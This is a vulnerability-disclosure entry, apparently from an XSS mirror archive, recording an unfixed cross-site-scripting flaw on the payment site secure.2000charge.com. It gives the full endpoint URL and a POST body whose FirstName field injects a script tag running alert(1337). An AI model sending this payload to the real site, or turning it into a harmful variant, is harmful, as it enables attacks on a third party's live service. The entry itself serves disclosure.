Security researcher Xylitol, has submitted on 30/06/2010 a cross-site-scripting (XSS) vulnerability affecting secure.2000charge.com, which at the time of submission ranked 306795 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 29/11/2011. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 30/06/2010 |
Date published: 29/11/2011 |
Fixed? Mail us! | Status: UNFIXED |
Author: Xylitol |
Domain: secure.2000charge.com |
Category: XSS |
Pagerank: 306795 |
URL: https://secure.2000charge.com/secure/new/Interface-DD.asp |
POST: action=Process&id=7334&username=&XField=w1%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C18&paymenttypecode=EUB&usern ameflag=N&passwordflag=N&cardtypename=&ResellerID=&NoPhoneNumber=N&pricepoint=&smartPost=&CallingFro m=&Country_geo=German&BankNameCode=&CKABA=%27%27&CKAcct=%27%27&IDField1=%27%27&IDField2=%27%27&IDFie ld3=%27%27&IDField4=%27%27&account=7334109&FirstName=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281337 %29%3C%2Fscript%3E&LastName=&Address1=&City=&Zip=&country=DE&State=&Phone=&EMail=&UserPassword=&User Password2= |
Click here to view the mirror
|
|
|